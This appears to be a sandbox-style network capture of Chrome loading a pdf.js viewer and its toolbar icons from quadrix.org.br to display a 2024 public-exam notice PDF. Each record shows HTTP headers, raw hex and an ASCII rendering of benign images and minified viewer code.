2024-05-10 07:20:56 UTC	402	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:56 GMT Content-Type: image/png Content-Length: 320 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=321 ETag: "801aa72f441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:33 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6790 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b6b2ef9222c-ORD
2024-05-10 07:20:56 UTC	320	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 04 00 00 00 b5 fa 37 ea 00 00 01 07 49 44 41 54 78 da 63 20 02 fc 7f 07 85 75 70 91 3a 98 18 84 fb 04 04 2f cd 65 50 82 eb 51 ba 38 1b 22 0a 51 f0 08 04 bf 1d f9 2f 0c 37 81 ef db 1e 88 28 84 fb e0 d2 ac 8f 87 ff 3f fc 77 00 a8 04 2c fd 6f fb ff 47 5f 4e 5e 9e f3 ff 01 58 c1 e9 c9 0c 2a 6e 4e 1f 0e fe bf f7 23 1d c4 ff 9e f4 ff fe e7 e3 21 9e 0c aa 40 19 10 00 db cd ea e6 b4 a3 89 41 06 cc 97 da d3 0a 94 66 87 c8 20 00 2b 50 1a 06 64 81 d2 24 83 ff bc ff 83 e0 ec b0 ff 42 c8 52 e9 20 e9 7f 6b fe 5f fd 1f 09 95 be fa 6f 0b 50 09 48 06 2c 70 f1 7f ee bf 55 ff cf 7c da da a0 07 e2 e7 68 bc df f0 ff f4 bf cd ff 0b fe 5f 84 28 38 fa ff dc ff 93 9f 36 fb bb 43 9d c6 6a ef f8 7e dd ff 93 Data Ascii: PNGIHDR7IDATxc up:/ePQ8"Q/7(?w,oG_N^X*nN#!@Af +Pd$BR k_oPH,pU\|h_(86Cj~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49749	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:56 UTC	631	OUT	GET /web/images/toolbarButton-zoomOut.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/web/viewer.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:57 UTC	398	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:57 GMT Content-Type: image/png Content-Length: 85 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=88 ETag: "065435441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:42 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6791 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b6cccfd025e-ORD
2024-05-10 07:20:57 UTC	85	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 04 00 00 00 b5 fa 37 ea 00 00 00 1c 49 44 41 54 78 da 63 18 51 e0 ff 3b 4c 88 aa e0 12 26 44 35 c2 01 13 0e a7 10 02 00 c6 0a 27 ed 67 78 81 0a 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR7IDATxcQ;L&D5'gxIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49750	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:56 UTC	646	OUT	GET /web/images/toolbarButton-secondaryToolbarToggle.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/web/viewer.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:57 UTC	401	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:57 GMT Content-Type: image/png Content-Length: 229 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=243 ETag: "0de7031441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:36 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6791 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b6ccdc061de-ORD
2024-05-10 07:20:57 UTC	229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 04 00 00 00 b5 fa 37 ea 00 00 00 ac 49 44 41 54 78 da bd d1 bf 0b 01 61 1c c7 f1 e7 fc 18 28 83 cd 6e d0 99 64 30 98 fc 6b 76 0c 94 6c 8a e5 06 8a 41 ac 92 22 45 9d 41 c7 a5 2b 17 4a 29 ff 80 b7 5b 2e df 67 97 f7 77 79 d5 67 7b 1e f5 97 68 f2 0c ae 83 a1 59 94 f3 06 f8 5c 19 12 d5 2c ca bb 16 1e 17 c6 c4 35 8b cc 53 1f 97 33 13 12 9a 45 a6 d3 e5 c0 f1 3d 23 a5 f9 db ad 8d 8d fd 9a 2e d2 9a c3 a8 b1 67 fb 18 65 cb 2a 26 1d ce 75 76 ac ef 56 a6 a4 22 d2 e1 dc 60 c3 d2 ef 25 8b ca 90 0e e7 2a 2b e6 4e 2b 5e 50 86 b4 78 28 55 09 ce 94 fe e5 4f 7d 00 7f ac 99 2b 9d be d2 4a 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR7IDATxa(nd0kvlA"EA+J)[.gwyg{hY\,5S3E=#.ge&uvV"`%+N+^Px(UO}+JIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49751	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:56 UTC	630	OUT	GET /web/images/toolbarButton-zoomIn.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/web/viewer.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:57 UTC	400	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:57 GMT Content-Type: image/png Content-Length: 130 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=136 ETag: "065435441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:42 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6791 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b6cd8e7e273-ORD
2024-05-10 07:20:57 UTC	130	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 04 00 00 00 b5 fa 37 ea 00 00 00 49 49 44 41 54 78 da 63 a0 3b f8 ff ee ff 3b 54 11 26 34 15 df 80 10 af 82 3f 40 48 8a 02 84 dd 8f a1 f0 3a 10 42 d9 10 19 16 a8 8a f7 20 02 c1 c6 04 0e 10 f8 ff dc ff 73 30 36 76 ab 4e fe 3f 49 75 5f 60 ba 85 da b1 03 00 f2 fb 2b f9 e4 4e 08 2d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR7IIDATxc;;T&4?@H:B s06vN?Iu_`+N-IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49752	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:56 UTC	686	OUT	GET /web/viewer.js HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:57 UTC	418	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:57 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cf-Bgj: minify Cf-Polished: origSize=319668 ETag: "0a5cb5df120d21:0" Last-Modified: Fri, 07 Oct 2016 23:20:18 GMT Vary: Accept-Encoding X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6791 Server: cloudflare CF-RAY: 88182b6cdc1ae217-ORD
2024-05-10 07:20:57 UTC	951	IN	Data Raw: 37 39 66 66 0d 0a 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 44 45 46 41 55 4c 54 5f 55 52 4c 3d 27 27 3b 76 61 72 20 70 64 66 6a 73 57 65 62 4c 69 62 73 3d 7b 70 64 66 6a 73 57 65 62 50 44 46 4a 53 3a 77 69 6e 64 6f 77 2e 70 64 66 6a 73 44 69 73 74 42 75 69 6c 64 50 64 66 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 28 66 75 6e 63 74 69 6f 6e 28 72 6f 6f 74 2c 66 61 63 74 6f 72 79 29 7b 7b 66 61 63 74 6f 72 79 28 28 72 6f 6f 74 2e 70 64 66 6a 73 57 65 62 47 72 61 62 54 6f 50 61 6e 3d 7b 7d 29 29 3b 7d 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 78 70 6f 72 74 73 29 7b 66 75 6e 63 74 69 6f 6e 20 47 72 61 62 54 6f 50 61 6e 28 6f 70 74 69 6f 6e 73 29 7b 74 68 69 73 2e 65 6c 65 6d 65 6e 74 3d 6f 70 74 69 6f 6e 73 2e 65 6c 65 6d 65 6e 74 3b 74 68 Data Ascii: 79ff'use strict';var DEFAULT_URL='';var pdfjsWebLibs={pdfjsWebPDFJS:window.pdfjsDistBuildPdf};(function(){(function(root,factory){{factory((root.pdfjsWebGrabToPan={}));}}(this,function(exports){function GrabToPan(options){this.element=options.element;th
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 6e 6d 6f 75 73 65 64 6f 77 6e 2c 74 72 75 65 29 3b 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 74 68 69 73 2e 43 53 53 5f 43 4c 41 53 53 5f 47 52 41 42 29 3b 69 66 28 74 68 69 73 2e 6f 6e 41 63 74 69 76 65 43 68 61 6e 67 65 64 29 7b 74 68 69 73 2e 6f 6e 41 63 74 69 76 65 43 68 61 6e 67 65 64 28 74 72 75 65 29 3b 7d 7d 7d 2c 64 65 61 63 74 69 76 61 74 65 3a 66 75 6e 63 74 69 6f 6e 20 47 72 61 62 54 6f 50 61 6e 5f 64 65 61 63 74 69 76 61 74 65 28 29 7b 69 66 28 74 68 69 73 2e 61 63 74 69 76 65 29 7b 74 68 69 73 2e 61 63 74 69 76 65 3d 66 61 6c 73 65 3b 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6d 6f 75 73 65 64 6f 77 6e 27 2c 74 68 69 73 2e 5f 6f 6e 6d 6f 75 73 Data Ascii: nmousedown,true);this.element.classList.add(this.CSS_CLASS_GRAB);if(this.onActiveChanged){this.onActiveChanged(true);}}},deactivate:function GrabToPan_deactivate(){if(this.active){this.active=false;this.element.removeEventListener('mousedown',this._onmous
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 73 28 65 76 65 6e 74 2e 74 61 72 67 65 74 29 29 7b 66 6f 63 75 73 65 64 45 6c 65 6d 65 6e 74 2e 62 6c 75 72 28 29 3b 7d 7d 2c 5f 6f 6e 6d 6f 75 73 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 20 47 72 61 62 54 6f 50 61 6e 5f 5f 6f 6e 6d 6f 75 73 65 6d 6f 76 65 28 65 76 65 6e 74 29 7b 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 73 63 72 6f 6c 6c 27 2c 74 68 69 73 2e 5f 65 6e 64 50 61 6e 2c 74 72 75 65 29 3b 69 66 28 69 73 4c 65 66 74 4d 6f 75 73 65 52 65 6c 65 61 73 65 64 28 65 76 65 6e 74 29 29 7b 74 68 69 73 2e 5f 65 6e 64 50 61 6e 28 29 3b 72 65 74 75 72 6e 3b 7d 0a 76 61 72 20 78 44 69 66 66 3d 65 76 65 6e 74 2e 63 6c 69 65 6e 74 58 2d 74 68 69 73 2e 63 6c 69 65 6e 74 58 53 74 61 72 74 3b 76 61 72 Data Ascii: s(event.target)){focusedElement.blur();}},_onmousemove:function GrabToPan__onmousemove(event){this.element.removeEventListener('scroll',this._endPan,true);if(isLeftMouseReleased(event)){this._endPan();return;}var xDiff=event.clientX-this.clientXStart;var
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 26 26 69 73 4e 6f 74 49 45 6f 72 49 73 49 45 31 30 70 6c 75 73 29 7b 72 65 74 75 72 6e 21 28 65 76 65 6e 74 2e 62 75 74 74 6f 6e 73 26 31 29 3b 7d 0a 69 66 28 69 73 43 68 72 6f 6d 65 31 35 4f 72 4f 70 65 72 61 31 35 70 6c 75 73 7c 7c 69 73 53 61 66 61 72 69 36 70 6c 75 73 29 7b 72 65 74 75 72 6e 20 65 76 65 6e 74 2e 77 68 69 63 68 3d 3d 3d 30 3b 7d 7d 0a 65 78 70 6f 72 74 73 2e 47 72 61 62 54 6f 50 61 6e 3d 47 72 61 62 54 6f 50 61 6e 3b 7d 29 29 3b 28 66 75 6e 63 74 69 6f 6e 28 72 6f 6f 74 2c 66 61 63 74 6f 72 79 29 7b 7b 66 61 63 74 6f 72 79 28 28 72 6f 6f 74 2e 70 64 66 6a 73 57 65 62 4d 6f 7a 50 72 69 6e 74 43 61 6c 6c 62 61 63 6b 50 6f 6c 79 66 69 6c 6c 3d 7b 7d 29 29 3b 7d 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 78 70 6f 72 74 73 29 7b 69 Data Ascii: &&isNotIEorIsIE10plus){return!(event.buttons&1);}if(isChrome15OrOpera15plus\|\|isSafari6plus){return event.which===0;}}exports.GrabToPan=GrabToPan;}));(function(root,factory){{factory((root.pdfjsWebMozPrintCallbackPolyfill={}));}}(this,function(exports){i
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 69 6d 27 29 3b 69 66 28 63 61 6e 76 61 73 65 73 26 26 63 61 6e 76 61 73 65 73 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 70 72 6f 67 72 65 73 73 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 31 30 30 2a 69 6e 64 65 78 2f 63 61 6e 76 61 73 65 73 2e 6c 65 6e 67 74 68 29 3b 76 61 72 20 70 72 6f 67 72 65 73 73 42 61 72 3d 70 72 6f 67 72 65 73 73 43 6f 6e 74 61 69 6e 65 72 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 70 72 6f 67 72 65 73 73 27 29 3b 76 61 72 20 70 72 6f 67 72 65 73 73 50 65 72 63 3d 70 72 6f 67 72 65 73 73 43 6f 6e 74 61 69 6e 65 72 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 2e 72 65 6c 61 74 69 76 65 2d 70 72 6f 67 72 65 73 73 27 29 3b 70 72 6f 67 72 65 73 73 42 61 72 2e 76 61 6c 75 65 3d 70 72 6f 67 72 65 73 73 3b 70 72 6f 67 72 65 73 73 50 65 72 Data Ascii: im');if(canvases&&canvases.length){var progress=Math.round(100*index/canvases.length);var progressBar=progressContainer.querySelector('progress');var progressPerc=progressContainer.querySelector('.relative-progress');progressBar.value=progress;progressPer
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 65 62 4f 76 65 72 6c 61 79 4d 61 6e 61 67 65 72 3d 7b 7d 29 29 3b 7d 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 78 70 6f 72 74 73 29 7b 76 61 72 20 4f 76 65 72 6c 61 79 4d 61 6e 61 67 65 72 3d 7b 6f 76 65 72 6c 61 79 73 3a 7b 7d 2c 61 63 74 69 76 65 3a 6e 75 6c 6c 2c 72 65 67 69 73 74 65 72 3a 66 75 6e 63 74 69 6f 6e 20 6f 76 65 72 6c 61 79 4d 61 6e 61 67 65 72 52 65 67 69 73 74 65 72 28 6e 61 6d 65 2c 65 6c 65 6d 65 6e 74 2c 63 61 6c 6c 65 72 43 6c 6f 73 65 4d 65 74 68 6f 64 2c 63 61 6e 46 6f 72 63 65 43 6c 6f 73 65 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 72 65 73 6f 6c 76 65 29 7b 76 61 72 20 63 6f 6e 74 61 69 6e 65 72 3b 69 66 28 21 6e 61 6d 65 7c 7c 21 65 6c 65 6d 65 6e 74 7c 7c 21 28 63 6f 6e Data Ascii: ebOverlayManager={}));}}(this,function(exports){var OverlayManager={overlays:{},active:null,register:function overlayManagerRegister(name,element,callerCloseMethod,canForceClose){return new Promise(function(resolve){var container;if(!name\|\|!element\|\|!(con
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 69 76 65 5d 2e 63 6f 6e 74 61 69 6e 65 72 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 27 68 69 64 64 65 6e 27 29 3b 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6b 65 79 64 6f 77 6e 27 2c 74 68 69 73 2e 5f 6b 65 79 44 6f 77 6e 29 3b 72 65 73 6f 6c 76 65 28 29 3b 7d 2e 62 69 6e 64 28 74 68 69 73 29 29 3b 7d 2c 63 6c 6f 73 65 3a 66 75 6e 63 74 69 6f 6e 20 6f 76 65 72 6c 61 79 4d 61 6e 61 67 65 72 43 6c 6f 73 65 28 6e 61 6d 65 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 72 65 73 6f 6c 76 65 29 7b 69 66 28 21 74 68 69 73 2e 6f 76 65 72 6c 61 79 73 5b 6e 61 6d 65 5d 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 27 54 68 65 20 6f 76 65 72 6c 61 79 20 64 6f 65 73 20 6e Data Ascii: ive].container.classList.remove('hidden');window.addEventListener('keydown',this._keyDown);resolve();}.bind(this));},close:function overlayManagerClose(name){return new Promise(function(resolve){if(!this.overlays[name]){throw new Error('The overlay does n
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 75 6c 6c 3b 74 68 69 73 2e 6f 6e 49 64 6c 65 3d 6e 75 6c 6c 3b 74 68 69 73 2e 68 69 67 68 65 73 74 50 72 69 6f 72 69 74 79 50 61 67 65 3d 6e 75 6c 6c 3b 74 68 69 73 2e 69 64 6c 65 54 69 6d 65 6f 75 74 3d 6e 75 6c 6c 3b 74 68 69 73 2e 70 72 69 6e 74 69 6e 67 3d 66 61 6c 73 65 3b 74 68 69 73 2e 69 73 54 68 75 6d 62 6e 61 69 6c 56 69 65 77 45 6e 61 62 6c 65 64 3d 66 61 6c 73 65 3b 7d 0a 50 44 46 52 65 6e 64 65 72 69 6e 67 51 75 65 75 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 73 65 74 56 69 65 77 65 72 3a 66 75 6e 63 74 69 6f 6e 20 50 44 46 52 65 6e 64 65 72 69 6e 67 51 75 65 75 65 5f 73 65 74 56 69 65 77 65 72 28 70 64 66 56 69 65 77 65 72 29 7b 74 68 69 73 2e 70 64 66 56 69 65 77 65 72 3d 70 64 66 56 69 65 77 65 72 3b 7d 2c 73 65 74 54 68 75 6d 62 6e 61 69 6c Data Ascii: ull;this.onIdle=null;this.highestPriorityPage=null;this.idleTimeout=null;this.printing=false;this.isThumbnailViewEnabled=false;}PDFRenderingQueue.prototype={setViewer:function PDFRenderingQueue_setViewer(pdfViewer){this.pdfViewer=pdfViewer;},setThumbnail
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 64 65 78 5d 29 29 7b 72 65 74 75 72 6e 20 76 69 65 77 73 5b 6e 65 78 74 50 61 67 65 49 6e 64 65 78 5d 3b 7d 7d 65 6c 73 65 7b 76 61 72 20 70 72 65 76 69 6f 75 73 50 61 67 65 49 6e 64 65 78 3d 76 69 73 69 62 6c 65 2e 66 69 72 73 74 2e 69 64 2d 32 3b 69 66 28 76 69 65 77 73 5b 70 72 65 76 69 6f 75 73 50 61 67 65 49 6e 64 65 78 5d 26 26 21 74 68 69 73 2e 69 73 56 69 65 77 46 69 6e 69 73 68 65 64 28 76 69 65 77 73 5b 70 72 65 76 69 6f 75 73 50 61 67 65 49 6e 64 65 78 5d 29 29 7b 72 65 74 75 72 6e 20 76 69 65 77 73 5b 70 72 65 76 69 6f 75 73 50 61 67 65 49 6e 64 65 78 5d 3b 7d 7d 0a 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 7d 2c 69 73 56 69 65 77 46 69 6e 69 73 68 65 64 3a 66 75 6e 63 74 69 6f 6e 20 50 44 46 52 65 6e 64 65 72 69 6e 67 51 75 65 75 65 5f 69 73 56 69 Data Ascii: dex])){return views[nextPageIndex];}}else{var previousPageIndex=visible.first.id-2;if(views[previousPageIndex]&&!this.isViewFinished(views[previousPageIndex])){return views[previousPageIndex];}}return null;},isViewFinished:function PDFRenderingQueue_isVi
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 65 2c 22 75 73 65 4f 6e 6c 79 43 73 73 5a 6f 6f 6d 22 3a 66 61 6c 73 65 2c 22 65 78 74 65 72 6e 61 6c 4c 69 6e 6b 54 61 72 67 65 74 22 3a 30 2c 22 65 6e 68 61 6e 63 65 54 65 78 74 53 65 6c 65 63 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 72 65 6e 64 65 72 49 6e 74 65 72 61 63 74 69 76 65 46 6f 72 6d 73 22 3a 66 61 6c 73 65 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 63 6c 6f 6e 65 4f 62 6a 28 6f 62 6a 29 7b 76 61 72 20 72 65 73 75 6c 74 3d 7b 7d 3b 66 6f 72 28 76 61 72 20 69 20 69 6e 20 6f 62 6a 29 7b 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6f 62 6a 2c 69 29 29 7b 72 65 73 75 6c 74 5b 69 5d 3d 6f 62 6a 5b 69 5d 3b 7d 7d 0a 72 65 74 75 72 6e 20 72 65 73 75 6c 74 3b 7d 0a 76 61 72 20 50 72 Data Ascii: e,"useOnlyCssZoom":false,"externalLinkTarget":0,"enhanceTextSelection":false,"renderInteractiveForms":false});function cloneObj(obj){var result={};for(var i in obj){if(Object.prototype.hasOwnProperty.call(obj,i)){result[i]=obj[i];}}return result;}var Pr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49753	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:56 UTC	685	OUT	GET /build/pdf.js HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:57 UTC	419	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:57 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cf-Bgj: minify Cf-Polished: origSize=375214 ETag: "8058b5ab6c1cd21:0" Last-Modified: Sun, 02 Oct 2016 05:20:21 GMT Vary: Accept-Encoding X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6791 Server: cloudflare CF-RAY: 88182b6cdd7a2331-ORD
2024-05-10 07:20:57 UTC	950	IN	Data Raw: 33 39 66 64 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 72 6f 6f 74 2c 66 61 63 74 6f 72 79 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 69 66 28 74 79 70 65 6f 66 20 64 65 66 69 6e 65 3d 3d 3d 27 66 75 6e 63 74 69 6f 6e 27 26 26 64 65 66 69 6e 65 2e 61 6d 64 29 7b 64 65 66 69 6e 65 28 27 70 64 66 6a 73 2d 64 69 73 74 2f 62 75 69 6c 64 2f 70 64 66 27 2c 5b 27 65 78 70 6f 72 74 73 27 5d 2c 66 61 63 74 6f 72 79 29 3b 7d 65 6c 73 65 20 69 66 28 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 21 3d 3d 27 75 6e 64 65 66 69 6e 65 64 27 29 7b 66 61 63 74 6f 72 79 28 65 78 70 6f 72 74 73 29 3b 7d 65 6c 73 65 7b 66 61 63 74 6f 72 79 28 28 72 6f 6f 74 2e 70 64 66 6a 73 44 69 73 74 42 75 69 6c 64 50 64 66 3d 7b 7d 29 29 3b 7d 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 78 Data Ascii: 39fd(function(root,factory){'use strict';if(typeof define==='function'&&define.amd){define('pdfjs-dist/build/pdf',['exports'],factory);}else if(typeof exports!=='undefined'){factory(exports);}else{factory((root.pdfjsDistBuildPdf={}));}}(this,function(ex
2024-05-10 07:20:57 UTC	1369	IN	Data Raw: 52 47 42 5f 32 34 42 50 50 3a 32 2c 52 47 42 41 5f 33 32 42 50 50 3a 33 7d 3b 76 61 72 20 41 6e 6e 6f 74 61 74 69 6f 6e 54 79 70 65 3d 7b 54 45 58 54 3a 31 2c 4c 49 4e 4b 3a 32 2c 46 52 45 45 54 45 58 54 3a 33 2c 4c 49 4e 45 3a 34 2c 53 51 55 41 52 45 3a 35 2c 43 49 52 43 4c 45 3a 36 2c 50 4f 4c 59 47 4f 4e 3a 37 2c 50 4f 4c 59 4c 49 4e 45 3a 38 2c 48 49 47 48 4c 49 47 48 54 3a 39 2c 55 4e 44 45 52 4c 49 4e 45 3a 31 30 2c 53 51 55 49 47 47 4c 59 3a 31 31 2c 53 54 52 49 4b 45 4f 55 54 3a 31 32 2c 53 54 41 4d 50 3a 31 33 2c 43 41 52 45 54 3a 31 34 2c 49 4e 4b 3a 31 35 2c 50 4f 50 55 50 3a 31 36 2c 46 49 4c 45 41 54 54 41 43 48 4d 45 4e 54 3a 31 37 2c 53 4f 55 4e 44 3a 31 38 2c 4d 4f 56 49 45 3a 31 39 2c 57 49 44 47 45 54 3a 32 30 2c 53 43 52 45 45 4e 3a 32 Data Ascii: RGB_24BPP:2,RGBA_32BPP:3};var AnnotationType={TEXT:1,LINK:2,FREETEXT:3,LINE:4,SQUARE:5,CIRCLE:6,POLYGON:7,POLYLINE:8,HIGHLIGHT:9,UNDERLINE:10,SQUIGGLY:11,STRIKEOUT:12,STAMP:13,CARET:14,INK:15,POPUP:16,FILEATTACHMENT:17,SOUND:18,MOVIE:19,WIDGET:20,SCREEN:2
